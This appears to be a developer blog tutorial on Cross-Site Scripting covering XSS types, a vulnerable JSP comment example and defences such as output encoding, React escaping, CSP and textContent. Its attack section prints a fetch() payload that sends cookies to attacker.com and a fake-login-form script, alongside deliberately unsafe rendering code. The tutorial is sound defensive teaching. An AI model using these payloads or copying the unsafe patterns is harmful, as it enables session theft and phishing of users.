Hook
What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.
Let’s break down how this actually happens in real applications.
What is XSS?
The flow of a typical XSS attack is illustrated above.
Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.
This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.
Types of XSS
✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.
Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately
Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.
Practical Example
❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment");
saveComment(comment);
Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.
💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>
Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.
Escalate Attack (Attacker Mindset)
Cookie Theft Example
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.
Fake Login Form
<script>
document.body.innerHTML =
'<h2>Session Expired</h2><input placeholder="Password">';
</script>
Attacker replaces page content with fake UI.
Users unknowingly enter credentials.
Real Impact
Session hijacking
Attacker steals authenticated session.
Account takeover
Victim account accessed without password.
Data theft
Sensitive page data can be extracted.
Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.
The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.
How to Prevent XSS
✅ Output Encoding
Escape special characters
Convert < →<
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>
Safe:
<div><c:out value="${userInput}" /></div>
Special characters become text:
<script> becomes visible text instead of executable code.
| Method | Browser Sees (Source Code) | Browser Does |
|---|---|---|
<c:out> |
<script>evil()</script> |
Displays literal text on screen. |
<%= %> |
<script>evil()</script> |
Executes the script immediately. |
✅ Framework Protection
Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>
Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.
When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM
✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.
Common Mistakes
Trusting user input
Never assume users behave correctly.
Using innerHTML
Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;
Disabling escaping
Framework protections exist for a reason.
Final Thoughts
Think like an attacker:
Ask:
- Can I inject script here?
- Will the browser execute it?
- Can I steal trust from this page?
XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.
If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.
In XSS, the attacker doesn’t break your system — they use it against your users.
Always treat user input as data — never as code.
Top comments (0)